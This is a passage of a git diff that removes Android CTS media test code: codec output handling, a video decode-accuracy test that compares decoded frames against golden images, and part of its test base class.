-        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-            Log.d(TAG, "saw output EOS on track " + mTrackIndex);
-
-            mSawOutputEOS = true;
-
-            // Do not stop audio track here. Video presentation may not finish
-            // yet, stopping the audio track now would result in getAudioTimeUs
-            // returning 0 and prevent video samples from being presented.
-            // We stop the audio track before the playback thread exits.
-            return false;
-        }
-
-        long realTimeUs =
-            mMediaTimeProvider.getRealTimeUsForMediaTime(info.presentationTimeUs);
-
-        long nowUs = mMediaTimeProvider.getNowUs();
-
-        long lateUs = nowUs - realTimeUs;
-
-        if (mAudioTrack != null) {
-            ByteBuffer buffer = mCodecOutputBuffers[index];
-            byte[] audioArray = new byte[info.size];
-            buffer.get(audioArray);
-            buffer.clear();
-
-            mAudioTrack.write(ByteBuffer.wrap(audioArray), info.size,
-                    info.presentationTimeUs*1000);
-
-            mCodec.releaseOutputBuffer(index, false /* render */);
-
-            mPresentationTimeUs = info.presentationTimeUs;
-
-            mAvailableOutputBufferIndices.removeFirst();
-            mAvailableOutputBufferInfos.removeFirst();
-            return true;
-        } else {
-            // video
-            boolean render;
-
-            if (lateUs < -45000) {
-                // too early;
-                return false;
-            } else if (lateUs > 30000) {
-                Log.d(TAG, "video late by " + lateUs + " us.");
-                render = false;
-            } else {
-                render = true;
-                mPresentationTimeUs = info.presentationTimeUs;
-            }
-
-            mCodec.releaseOutputBuffer(index, render);
-
-            mAvailableOutputBufferIndices.removeFirst();
-            mAvailableOutputBufferInfos.removeFirst();
-            return true;
-        }
-    }
-
-    /** Callback called by the renderer in tunneling mode. */
-    private class OnFrameRenderedListener implements MediaCodec.OnFrameRenderedListener {
-        private static final long TUNNELING_EOS_PRESENTATION_TIME_US = Long.MAX_VALUE;
-
-        @Override
-        public void onFrameRendered(MediaCodec codec, long presentationTimeUs, long nanoTime) {
-            if (this != mOnFrameRenderedListener) {
-                return; // stale event
-            }
-            if (presentationTimeUs == TUNNELING_EOS_PRESENTATION_TIME_US) {
-                 mSawOutputEOS = true;
-            } else {
-                 mPresentationTimeUs = presentationTimeUs;
-            }
-            mRenderedVideoFrameTimestampList.add(presentationTimeUs);
-        }
-    }
-
-    public long getAudioTimeUs() {
-        if (mAudioTrack == null) {
-            return 0;
-        }
-
-        return mAudioTrack.getAudioTimeUs();
-    }
-
-    /** Callback called in tunnel mode when video peek is ready */
-    private class OnFirstTunnelFrameReadyListener
-        implements MediaCodec.OnFirstTunnelFrameReadyListener {
-
-        @Override
-        public void onFirstTunnelFrameReady(MediaCodec codec) {
-            if (this != mOnFirstTunnelFrameReadyListener) {
-                return; // stale event
-            }
-            mFirstTunnelFrameReady = true;
-        }
-    }
-
-    /**
-     * If a video codec, returns the list of rendered frames' timestamps.
-     * Otherwise, returns an empty list.
-     */
-    public ArrayList<Long> getRenderedVideoFrameTimestampList() {
-        return new ArrayList<Long>(mRenderedVideoFrameTimestampList);
-    }
-
-    /** Process the attached {@link AudioTrack}, if any. */
-    public void processAudioTrack() {
-        if (mAudioTrack != null) {
-            mAudioTrack.process();
-        }
-    }
-
-    public AudioTimestamp getTimestamp() {
-        if (mAudioTrack == null) {
-            return null;
-        }
-
-        return mAudioTrack.getTimestamp();
-    }
-
-
-    /** Stop the attached {@link AudioTrack}, if any. */
-    public void stopAudioTrack() {
-        if (mAudioTrack != null) {
-            mAudioTrack.stop();
-        }
-    }
-
-    /** Start associated audio track, if any. */
-    public void playAudioTrack() {
-        if (mAudioTrack != null) {
-            mAudioTrack.play();
-        }
-    }
-
-    public void setOutputSurface(Surface surface) {
-        if (mAudioTrack != null) {
-            throw new UnsupportedOperationException("Cannot set surface on audio codec");
-        }
-        mCodec.setOutputSurface(surface);
-    }
-
-    /** Configure video peek. */
-    public void setVideoPeek(boolean enable) {
-        Bundle parameters = new Bundle();
-        parameters.putInt(MediaCodec.PARAMETER_KEY_TUNNEL_PEEK, enable ? 1 : 0);
-        mCodec.setParameters(parameters);
-    }
-
-    /** In tunnel mode, queries whether the first video frame is ready for video peek. */
-    public boolean isFirstTunnelFrameReady() {
-        return mFirstTunnelFrameReady;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
deleted file mode 100644
index 80aefa7..0000000
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
+++ /dev/null
@@ -1,340 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import static junit.framework.TestCase.assertTrue;
-
-import static org.junit.Assert.fail;
-
-import android.media.cts.R;
-
-import android.annotation.TargetApi;
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.media.MediaFormat;
-import android.os.Environment;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.view.View;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.lang.reflect.Field;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.rules.Timeout;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameters;
-import org.junit.Test;
-
-@TargetApi(24)
-@RunWith(Parameterized.class)
-@MediaHeavyPresubmitTest
-@AppModeFull(reason = "There should be no instant apps specific behavior related to accuracy")
-public class DecodeAccuracyTest extends DecodeAccuracyTestBase {
-
-    private static final String TAG = DecodeAccuracyTest.class.getSimpleName();
-    private static final Field[] fields = R.raw.class.getFields();
-    private static final int ALLOWED_GREATEST_PIXEL_DIFFERENCE = 90;
-    private static final int OFFSET = 10;
-    private static final long PER_TEST_TIMEOUT_MS = 60000;
-    private static final String[] VIDEO_FILES = {
-        // 144p
-        "video_decode_accuracy_and_capability-h264_256x108_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_256x144_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_192x144_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_82x144_30fps.mp4",
-        "video_decode_accuracy_and_capability-vp9_256x108_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_256x144_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_192x144_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_82x144_30fps.webm",
-        // 240p
-        "video_decode_accuracy_and_capability-h264_426x182_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_426x240_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_320x240_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_136x240_30fps.mp4",
-        "video_decode_accuracy_and_capability-vp9_426x182_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_426x240_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_320x240_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_136x240_30fps.webm",
-        // 360p
-        "video_decode_accuracy_and_capability-h264_640x272_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_640x360_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_480x360_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_202x360_30fps.mp4",
-        "video_decode_accuracy_and_capability-vp9_640x272_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_640x360_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_480x360_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_202x360_30fps.webm",
-        // 480p
-        "video_decode_accuracy_and_capability-h264_854x362_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_854x480_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_640x480_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_270x480_30fps.mp4",
-        "video_decode_accuracy_and_capability-vp9_854x362_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_854x480_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_640x480_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_270x480_30fps.webm",
-        // 720p
-        "video_decode_accuracy_and_capability-h264_1280x544_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_1280x720_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_960x720_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_406x720_30fps.mp4",
-        "video_decode_accuracy_and_capability-vp9_1280x544_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_1280x720_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_960x720_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_406x720_30fps.webm",
-        // 1080p
-        "video_decode_accuracy_and_capability-h264_1920x818_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_1920x1080_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_1440x1080_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_608x1080_30fps.mp4",
-        "video_decode_accuracy_and_capability-vp9_1920x818_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_1920x1080_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_1440x1080_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_608x1080_30fps.webm",
-        // 1440p
-        "video_decode_accuracy_and_capability-h264_2560x1090_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_2560x1440_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_1920x1440_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_810x1440_30fps.mp4",
-        "video_decode_accuracy_and_capability-vp9_2560x1090_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_2560x1440_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_1920x1440_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_810x1440_30fps.webm",
-        // 2160p
-        "video_decode_accuracy_and_capability-h264_3840x1634_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_3840x2160_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_2880x2160_30fps.mp4",
-        "video_decode_accuracy_and_capability-h264_1216x2160_30fps.mp4",
-        "video_decode_accuracy_and_capability-vp9_3840x1634_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_3840x2160_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_2880x2160_30fps.webm",
-        "video_decode_accuracy_and_capability-vp9_1216x2160_30fps.webm",
-        // cropped
-        "video_decode_with_cropping-h264_520x360_30fps.mp4",
-        "video_decode_with_cropping-vp9_520x360_30fps.webm"
-    };
-
-    private View videoView;
-    private VideoViewFactory videoViewFactory;
-    private String fileName;
-    private String testName;
-    private String methodName;
-    private SimplePlayer player;
-
-    @After
-    @Override
-    public void tearDown() throws Exception {
-        if (player != null) {
-            player.release();
-        }
-        if (videoView != null) {
-            getHelper().cleanUpView(videoView);
-        }
-        if (videoViewFactory != null) {
-            videoViewFactory.release();
-        }
-        super.tearDown();
-    }
-
-    @Parameters
-    public static Collection<Object[]> data() {
-        final List<Object[]> testParams = new ArrayList<>();
-        for (int i = 0; i < VIDEO_FILES.length; i++) {
-            final String file = VIDEO_FILES[i];
-            Pattern regex = Pattern.compile("^\\w+-(\\w+)_\\d+fps\\.\\w+");
-            Matcher matcher = regex.matcher(file);
-            String testName = "";
-            if (matcher.matches()) {
-                testName = matcher.group(1);
-            }
-            testParams.add(new Object[] { testName, file });
-        }
-        return testParams;
-    }
-
-    public DecodeAccuracyTest(String testName, String fileName) {
-        this.fileName = fileName;
-        this.testName = testName;
-    }
-
-    @Test(timeout = PER_TEST_TIMEOUT_MS)
-    public void testGLViewDecodeAccuracy() throws Exception {
-        this.methodName = "testGLViewDecodeAccuracy";
-        runTest(new GLSurfaceViewFactory(), new VideoFormat(fileName));
-    }
-
-    @Test(timeout = PER_TEST_TIMEOUT_MS)
-    public void testGLViewLargerHeightDecodeAccuracy() throws Exception {
-        this.methodName = "testGLViewLargerHeightDecodeAccuracy";
-        runTest(new GLSurfaceViewFactory(), getLargerHeightVideoFormat(new VideoFormat(fileName)));
-    }
-
-    @Test(timeout = PER_TEST_TIMEOUT_MS)
-    public void testGLViewLargerWidthDecodeAccuracy() throws Exception {
-        this.methodName = "testGLViewLargerWidthDecodeAccuracy";
-        runTest(new GLSurfaceViewFactory(), getLargerWidthVideoFormat(new VideoFormat(fileName)));
-    }
-
-    @Test(timeout = PER_TEST_TIMEOUT_MS)
-    public void testSurfaceViewVideoDecodeAccuracy() throws Exception {
-        this.methodName = "testSurfaceViewVideoDecodeAccuracy";
-        runTest(new SurfaceViewFactory(), new VideoFormat(fileName));
-    }
-
-    @Test(timeout = PER_TEST_TIMEOUT_MS)
-    public void testSurfaceViewLargerHeightDecodeAccuracy() throws Exception {
-        this.methodName = "testSurfaceViewLargerHeightDecodeAccuracy";
-        runTest(new SurfaceViewFactory(), getLargerHeightVideoFormat(new VideoFormat(fileName)));
-    }
-
-    @Test(timeout = PER_TEST_TIMEOUT_MS)
-    public void testSurfaceViewLargerWidthDecodeAccuracy() throws Exception {
-        this.methodName = "testSurfaceViewLargerWidthDecodeAccuracy";
-        runTest(new SurfaceViewFactory(), getLargerWidthVideoFormat(new VideoFormat(fileName)));
-    }
-
-    private void runTest(VideoViewFactory videoViewFactory, VideoFormat vf) {
-        Log.i(TAG, "Running test for " + vf.toPrettyString());
-        if (!MediaUtils.canDecodeVideo(vf.getMimeType(), vf.getWidth(), vf.getHeight(), 30)) {
-            MediaUtils.skipTest(TAG, "No supported codec is found.");
-            return;
-        }
-        this.videoViewFactory = checkNotNull(videoViewFactory);
-        this.videoView = videoViewFactory.createView(getHelper().getContext());
-        final int maxRetries = 3;
-        for (int retry = 1; retry <= maxRetries; retry++) {
-            // If view is intended and available to display.
-            if (videoView != null) {
-                getHelper().generateView(videoView);
-            }
-            try {
-                videoViewFactory.waitForViewIsAvailable();
-                break;
-            } catch (Exception exception) {
-                Log.e(TAG, exception.getMessage());
-                if (retry == maxRetries) {
-                    fail("Timeout waiting for a valid surface.");
-                } else {
-                    Log.w(TAG, "Try again...");
-                    bringActivityToFront();
-                }
-            }
-        }
-        final int golden = getGoldenId(vf.getDescription(), vf.getOriginalSize());
-        assertTrue("No golden found.", golden != 0);
-        decodeVideo(vf, videoViewFactory);
-        validateResult(vf, videoViewFactory.getVideoViewSnapshot(), golden);
-    }
-
-    private void decodeVideo(VideoFormat videoFormat, VideoViewFactory videoViewFactory) {
-        this.player = new SimplePlayer(getHelper().getContext());
-        final SimplePlayer.PlayerResult playerResult = player.decodeVideoFrames(
-                videoViewFactory.getSurface(), videoFormat, 10);
-        assertTrue(playerResult.getFailureMessage(), playerResult.isSuccess());
-    }
-
-    private void validateResult(
-            VideoFormat videoFormat, VideoViewSnapshot videoViewSnapshot, int goldenId) {
-        final Bitmap result = checkNotNull("The expected bitmap from snapshot is null",
-                getHelper().generateBitmapFromVideoViewSnapshot(videoViewSnapshot));
-        final Bitmap golden = getHelper().generateBitmapFromImageResourceId(goldenId);
-        final BitmapCompare.Difference difference = BitmapCompare.computeMinimumDifference(
-                result, golden, videoFormat.getOriginalWidth(), videoFormat.getOriginalHeight());
-
-        if (difference.greatestPixelDifference > ALLOWED_GREATEST_PIXEL_DIFFERENCE) {
-            /* save failing file */
-            File failed = new File(Environment.getExternalStorageDirectory(),
-                                   "failed_" + methodName + "_" + testName + ".png");
-            try (FileOutputStream fileStream = new FileOutputStream(failed)) {
-                result.compress(Bitmap.CompressFormat.PNG, 0 /* ignored for PNG */, fileStream);
-                fileStream.flush();
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-            Log.d(TAG, testName + " saved " + failed.getAbsolutePath());
-        }
-
-        assertTrue("With the best matched border crop ("
-                + difference.bestMatchBorderCrop.first + ", "
-                + difference.bestMatchBorderCrop.second + "), "
-                + "greatest pixel difference is "
-                + difference.greatestPixelDifference
-                + (difference.greatestPixelDifferenceCoordinates != null
-                        ? " at (" + difference.greatestPixelDifferenceCoordinates.first + ", "
-                            + difference.greatestPixelDifferenceCoordinates.second + ")" : "")
-                + " which is over the allowed difference " + ALLOWED_GREATEST_PIXEL_DIFFERENCE,
-                difference.greatestPixelDifference <= ALLOWED_GREATEST_PIXEL_DIFFERENCE);
-    }
-
-    private static VideoFormat getLargerHeightVideoFormat(VideoFormat videoFormat) {
-        return new VideoFormat(videoFormat) {
-            @Override
-            public int getHeight() {
-                return super.getHeight() + OFFSET;
-            }
-
-            @Override
-            public boolean isAbrEnabled() {
-                return true;
-            }
-        };
-    }
-
-    private static VideoFormat getLargerWidthVideoFormat(VideoFormat videoFormat) {
-        return new VideoFormat(videoFormat) {
-            @Override
-            public int getWidth() {
-                return super.getWidth() + OFFSET;
-            }
-
-            @Override
-            public boolean isAbrEnabled() {
-                return true;
-            }
-        };
-    }
-
-    /**
-     * Returns the resource id by matching parts of the video and golden file name.
-     */
-    private static int getGoldenId(String description, String size) {
-        for (Field field : fields) {
-            try {
-                final String name = field.getName();
-                if (name.contains("golden") && name.contains(description) && name.contains(size)) {
-                    int id = field.getInt(null);
-                    return field.getInt(null);
-                }
-            } catch (IllegalAccessException | NullPointerException e) {
-                // No file found.
-            }
-        }
-        return 0;
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestActivity.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestActivity.java
deleted file mode 100644
index 8994c78..0000000
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestActivity.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class DecodeAccuracyTestActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.test_runner_activity);
-    }
-
-    @Override
-    protected void onResume() {
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
-        super.onResume();
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
deleted file mode 100644
index 33580ce..0000000
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
+++ /dev/null
@@ -1,2098 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import static org.junit.Assert.assertNotNull;
-
-import android.annotation.SuppressLint;
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.ActivityInfo;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Configuration;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.Bitmap.Config;
-import android.graphics.BitmapFactory;
-import android.graphics.Color;
-import android.graphics.SurfaceTexture;
-import android.media.MediaCodec;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodecInfo.VideoCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.cts.R;
-import android.opengl.EGL14;
-import android.opengl.GLES11Ext;
-import android.opengl.GLES20;
-import android.opengl.GLSurfaceView;
-import android.os.Build;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.util.Log;
-import android.util.Pair;
-import android.view.PixelCopy;
-import android.view.PixelCopy.OnPixelCopyFinishedListener;
-import android.view.Surface;
-import android.view.SurfaceHolder;
-import android.view.SurfaceView;
-import android.view.TextureView;
-import android.view.View;
-import android.view.ViewGroup;
-import android.widget.RelativeLayout;
-
-import androidx.test.rule.ActivityTestRule;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.FileNotFoundException;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.nio.FloatBuffer;
-import java.util.HashMap;
-import java.util.concurrent.TimeUnit;
-
-import javax.microedition.khronos.egl.EGL10;
-import javax.microedition.khronos.egl.EGLConfig;
-import javax.microedition.khronos.egl.EGLContext;
-import javax.microedition.khronos.egl.EGLDisplay;
-import javax.microedition.khronos.egl.EGLSurface;
-
-@TargetApi(16)
-public class DecodeAccuracyTestBase {
-
-    protected Context mContext;
-    protected Resources mResources;
-    protected DecodeAccuracyTestActivity mActivity;
-    protected TestHelper testHelper;
-
-    @Rule
-    public ActivityTestRule<DecodeAccuracyTestActivity> mActivityRule =
-            new ActivityTestRule<>(DecodeAccuracyTestActivity.class);
-
-    @Before
-    public void setUp() throws Exception {
-        mActivity = mActivityRule.getActivity();
-        mContext = mActivity.getApplicationContext();
-        mResources = mActivity.getResources();
-        testHelper = new TestHelper(mContext, mActivity);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        mActivity = null;
-        mResources = null;
-        mContext = null;
-        mActivityRule = null;
-    }
-
-    protected void bringActivityToFront() {
-        Intent intent = new Intent(mContext, DecodeAccuracyTestActivity.class);
-        intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
-        mActivity.startActivity(intent);
-    }
-
-    protected TestHelper getHelper() {
-        return testHelper;
-    }
-
-    public static <T> T checkNotNull(T reference) {
-        assertNotNull(reference);
-        return reference;
-    }
-
-    public static <T> T checkNotNull(String msg, T reference) {
-        assertNotNull(msg, reference);
-        return reference;
-    }
-
-    /* Simple Player that decodes a local video file only. */
-    @TargetApi(16)
-    static class SimplePlayer {
-
-        public static final long MIN_MS_PER_FRAME = TimeUnit.SECONDS.toMillis(1) / 5; // 5 FPS
-        public static final long STARTUP_ALLOW_MS = TimeUnit.SECONDS.toMillis(1) ;
-        public static final int END_OF_STREAM = -1;
-        public static final int DEQUEUE_SUCCESS = 1;
-        public static final int DEQUEUE_FAIL = 0;
-
-        private static final String TAG = SimplePlayer.class.getSimpleName();
-        private static final int NO_TRACK_INDEX = -3;
-        private static final long DEQUEUE_TIMEOUT_US = 20;
-
-        private final Context context;
-        private final MediaExtractor extractor;
-        private final String codecName;
-        private MediaCodec decoder;
-        private byte[] outputBytes;
-        private boolean renderToSurface;
-        private MediaCodecList mediaCodecList;
-        private Surface surface;
-
-        public SimplePlayer(Context context) {
-            this(context, null);
-        }
-
-        public SimplePlayer(Context context, String codecName) {
-            this.context = checkNotNull(context);
-            this.codecName = codecName;
-            this.extractor = new MediaExtractor();
-            this.renderToSurface = false;
-            this.surface = null;
-        }
-
-        /**
-         * The function play the corresponding file for certain number of frames.
-         *
-         * @param surface is the surface view of decoder output.
-         * @param videoFormat is the format of the video to extract and decode.
-         * @param numOfTotalFrames is the number of Frame wish to play.
-         * @param msPerFrameCap is the maximum msec per frame. No cap is set if value is less than 1.
-         * @return {@link PlayerResult} that consists the result.
-         */
-        public PlayerResult decodeVideoFrames(
-                Surface surface, VideoFormat videoFormat, int numOfTotalFrames, long msPerFrameCap,
-                boolean releasePlayer) {
-            this.surface = surface;
-            PlayerResult playerResult;
-            if (prepareVideoDecode(videoFormat)) {
-                if (startDecoder()) {
-                    final long timeout =
-                            Math.max(MIN_MS_PER_FRAME, msPerFrameCap) * numOfTotalFrames + STARTUP_ALLOW_MS;
-                    playerResult = decodeFramesAndPlay(numOfTotalFrames, timeout, msPerFrameCap);
-                } else {
-                    playerResult = PlayerResult.failToStart();
-                }
-            } else {
-                playerResult = new PlayerResult();
-            }
-            if (releasePlayer) {
-                release();
-            }
-            return new PlayerResult(playerResult);
-        }
-
-        public PlayerResult decodeVideoFrames(
-                Surface surface, VideoFormat videoFormat, int numOfTotalFrames) {
-            return decodeVideoFrames(surface, videoFormat, numOfTotalFrames, 0, false);
-        }
-
-        /**
-         * The function sets up the extractor and video decoder with proper format.
-         * This must be called before doing starting up the decoder.
-         */
-        private boolean prepareVideoDecode(VideoFormat videoFormat) {
-            MediaFormat mediaFormat = prepareExtractor(videoFormat);
-            if (mediaFormat == null) {
-                return false;
-            }
-            configureVideoFormat(mediaFormat, videoFormat);
-            setRenderToSurface(surface != null);
-            return createDecoder(mediaFormat) && configureDecoder(surface, mediaFormat);
-        }
-
-        /**
-         * Sets up the extractor and gets the {@link MediaFormat} of the track.
-         */
-        private MediaFormat prepareExtractor(VideoFormat videoFormat) {
-            if (!setExtractorDataSource(videoFormat)) {
-                return null;
-            }
-            final int trackNum = getFirstTrackIndexByType(videoFormat.getMediaFormat());
-            if (trackNum == NO_TRACK_INDEX) {
-                return null;
-            }
-            extractor.selectTrack(trackNum);
-            return extractor.getTrackFormat(trackNum);
-        }
-
-        /**
-         * The function decode video frames and display in a surface.
-         *
-         * @param numOfTotalFrames is the number of frames to be decoded.
-         * @param timeOutMs is the time limit for decoding the frames.
-         * @param msPerFrameCap is the maximum msec per frame. No cap is set if value is less than 1.
-         * @return {@link PlayerResult} that consists the result.
-         */
-        private PlayerResult decodeFramesAndPlay(
-                int numOfTotalFrames, long timeOutMs, long msPerFrameCap) {
-            int numOfDecodedFrames = 0;
-            long firstOutputTimeMs = 0;
-            long lastFrameAt = 0;
-            final long loopStart = SystemClock.elapsedRealtime();
-
-            while (numOfDecodedFrames < numOfTotalFrames
-                    && (SystemClock.elapsedRealtime() - loopStart < timeOutMs)) {
-                try {
-                    queueDecoderInputBuffer();
-                } catch (IllegalStateException exception) {
-                    Log.e(TAG, "IllegalStateException in queueDecoderInputBuffer", exception);
-                    break;
-                }
-                try {
-                    final int outputResult = dequeueDecoderOutputBuffer();
-                    if (outputResult == SimplePlayer.END_OF_STREAM) {
-                        break;
-                    }
-                    if (outputResult == SimplePlayer.DEQUEUE_SUCCESS) {
-                        if (firstOutputTimeMs == 0) {
-                            firstOutputTimeMs = SystemClock.elapsedRealtime();
-                        }
-                        if (msPerFrameCap > 0) {
-                            // Slow down if cap is set and not reached.
-                            final long delayMs =
-                                    msPerFrameCap - (SystemClock.elapsedRealtime() - lastFrameAt);
-                            if (lastFrameAt != 0 && delayMs > 0) {
-                                final long threadDelayMs = 3; // In case of delay in thread.
-                                if (delayMs > threadDelayMs) {
-                                    try {
-                                        Thread.sleep(delayMs - threadDelayMs);
-                                    } catch (InterruptedException ex) { /* */}
-                                }
-                                while (SystemClock.elapsedRealtime() - lastFrameAt
-                                        < msPerFrameCap) { /* */ }
-                            }
-                            lastFrameAt = SystemClock.elapsedRealtime();
-                        }
-                        numOfDecodedFrames++;
-                    }
-                } catch (IllegalStateException exception) {
-                    Log.e(TAG, "IllegalStateException in dequeueDecoderOutputBuffer", exception);
-                }
-            }
-            // NB: totalTime measures from "first output" instead of
-            // "first INPUT", so does not include first frame latency
-            // and therefore does not tell us if the timeout expired
-            final long totalTime = SystemClock.elapsedRealtime() - firstOutputTimeMs;
-            return new PlayerResult(true, true, numOfTotalFrames == numOfDecodedFrames, totalTime);
-        }
-
-        /**
-         * Queues the input buffer with the media file one buffer at a time.
-         *
-         * @return true if success, fail otherwise.
-         */
-        private boolean queueDecoderInputBuffer() {
-            ByteBuffer inputBuffer;
-            final ByteBuffer[] inputBufferArray = decoder.getInputBuffers();
-            final int inputBufferIndex = decoder.dequeueInputBuffer(DEQUEUE_TIMEOUT_US);
-            if (inputBufferIndex >= 0) {
-                if (ApiLevelUtil.isBefore(Build.VERSION_CODES.LOLLIPOP)) {
-                    inputBuffer = inputBufferArray[inputBufferIndex];
-                } else {
-                    inputBuffer = decoder.getInputBuffer(inputBufferIndex);
-                }
-                final int sampleSize = extractor.readSampleData(inputBuffer, 0);
-                if (sampleSize > 0) {
-                    decoder.queueInputBuffer(
-                            inputBufferIndex, 0, sampleSize, extractor.getSampleTime(), 0);
-                    extractor.advance();
-                }
-                return true;
-            }
-            return false;
-        }
-
-        /**
-         * Dequeues the output buffer.
-         * For video decoder, renders to surface if provided.
-         * For audio decoder, gets the bytes from the output buffer.
-         *
-         * @return an integer indicating its status (fail, success, or end of stream).
-         */
-        private int dequeueDecoderOutputBuffer() {
-            final BufferInfo info = new BufferInfo();
-            final int decoderStatus = decoder.dequeueOutputBuffer(info, DEQUEUE_TIMEOUT_US);
-            if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                return END_OF_STREAM;
-            }
-            if (decoderStatus >= 0) {
